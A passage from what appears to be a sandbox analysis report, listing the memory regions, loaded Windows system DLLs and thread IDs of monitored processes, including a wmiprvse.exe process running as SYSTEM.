"\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2845 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2846 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2847 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2848 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2849 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2850 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2851 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2852 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2853 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2854 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2855 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2856 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2857 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2858 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2859 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2860 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2861 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2862 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2863 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 2864 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 2865 start_va = 0x7fffff70000 end_va = 0x7fffff71fff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 2866 start_va = 0x7fffff72000 end_va = 0x7fffff73fff entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 2867 start_va = 0x7fffff74000 end_va = 0x7fffff75fff entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 2868 start_va = 0x7fffff76000 end_va = 0x7fffff77fff entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 2869 start_va = 0x7fffff78000 end_va = 0x7fffff79fff entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 2870 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 2871 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 2872 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 2873 start_va = 0x7fffff80000 end_va = 0x7fffff81fff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 2874 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 2875 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 2876 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 2877 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 2878 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 2879 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 2880 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 2881 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 2882 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 2883 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 2884 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2885 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2886 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2887 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2888 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2889 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2890 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2891 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2892 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2893 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2894 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2895 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2896 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2897 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2898 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2899 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2900 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2901 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2902 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2903 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 261 os_tid = 0x310 Thread: id = 262 os_tid = 0x358 Thread: id = 263 os_tid = 0x510 Thread: id = 264 os_tid = 0xb24 Thread: id = 265 os_tid = 0xadc Thread: id = 266 os_tid = 0xad4 Thread: id = 267 os_tid = 0xac4 Thread: id = 268 os_tid = 0xae0 Thread: id = 269 os_tid = 0xaf8 Thread: id = 270 os_tid = 0xacc Thread: id = 271 os_tid = 0x81c Thread: id = 272 os_tid = 0x334 Thread: id = 273 os_tid = 0x404 Thread: id = 274 os_tid = 0x28c Thread: id = 275 os_tid = 0x4b0 Thread: id = 276 os_tid = 0x850 Thread: id = 277 os_tid = 0x7bc Thread: id = 278 os_tid = 0xa40 Thread: id = 279 os_tid = 0xa2c Thread: id = 280 os_tid = 0x9c4 Thread: id = 281 os_tid = 0x918 Thread: id = 282 os_tid = 0x808 Thread: id = 283 os_tid = 0x804 Thread: id = 284 os_tid = 0x4f8 Thread: id = 285 os_tid = 0x558 Thread: id = 286 os_tid = 0x618 Thread: id = 287 os_tid = 0x614 Thread: id = 288 os_tid = 0x610 Thread: id = 289 os_tid = 0x5d4 Thread: id = 290 os_tid = 0x448 Thread: id = 291 os_tid = 0x438 Thread: id = 292 os_tid = 0x3bc Thread: id = 293 os_tid = 0x3b4 Thread: id = 294 os_tid = 0x3a4 Thread: id = 295 os_tid = 0x304 Thread: id = 296 os_tid = 0x300 Thread: id = 297 os_tid = 0x2f4 Thread: id = 298 os_tid = 0x2d8 Thread: id = 299 os_tid = 0x2d0 Thread: id = 317 os_tid = 0x810 Thread: id = 319 os_tid = 0x888 Thread: id = 320 os_tid = 0x824 Process: id = "19" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x24480000" os_pid = "0xa78" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2919 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2920 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2921 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2922 start_va = 0x1f0000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2923 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2924 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2925 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2926 start_va = 0xffc40000 end_va = 0xffc9efff entry_point = 0xffc40000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 2927 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2928 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2929 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2930 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2931 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2932 start_va = 0x350000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 2933 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2934 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2935 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2936 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2937 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2938 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2939 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2940 start_va = 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2941 start_va = 0x150000 end_va = 0x156fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 2942 start_va = 0x160000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2943 start_va = 0x170000 end_va = 0x171fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2944 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2945 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2946 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 2947 start_va = 0x270000 end_va = 0x32ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2948 start_va = 0x450000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 2949 start_va = 0x550000 end_va = 0x6d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 2950 start_va = 0x6e0000 end_va = 0x860fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 2951 start_va = 0x8b0000 end_va = 0x92ffff entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 2952 start_va = 0x930000 end_va = 0xa2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 2953 start_va = 0xa30000 end_va = 0xcfefff entry_point = 0xa30000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2954 start_va = 0xd00000 end_va = 0x10f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d00000" filename = "" Region: id = 2955 start_va = 0x1240000 end_va = 0x12bffff entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 2956 start_va = 0x1310000 end_va = 0x138ffff entry_point = 0x0 region_type = private name = "private_0x0000000001310000" filename = "" Region: id = 2957 start_va = 0x1440000 end_va = 0x14bffff entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 2958 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2959 start_va = 0x7fef5ba0000 end_va = 0x7fef5bb5fff entry_point = 0x7fef5ba0000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2960 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2961 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2962 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2963 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2964 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2965 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2966 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2967 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2968 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2969 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2970 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2971 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2972 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2973 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2974 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2975 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2976 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2977 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2978 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2979 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2980 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2981 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2982 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2983 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2984 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2985 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2986 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2987 start_va = 0x1120000 end_va = 0x119ffff entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 2988 start_va = 0x13c0000 end_va = 0x143ffff entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 2989 start_va = 0x1510000 end_va = 0x158ffff entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 2990 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2991 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2992 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2993 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2994 start_va = 0x7fef5d00000 end_va = 0x7fef5d25fff entry_point = 0x7fef5d00000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2995 start_va = 0x7fef91a0000 end_va = 0x7fef91dbfff entry_point = 0x7fef91a0000 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Thread: id = 306 os_tid = 0x4fc Thread: id = 307 os_tid = 0x660 Thread: id = 308 os_tid = 0xa24 Thread: id = 309 os_tid = 0x8a4 Thread: id = 310 os_tid = 0x5a8 Thread: id = 311 os_tid = 0xa3c Thread: id = 312 os_tid = 0x5c0 Thread: id = 313 os_tid = 0x554 Thread: id = 318 os_tid = 0xb74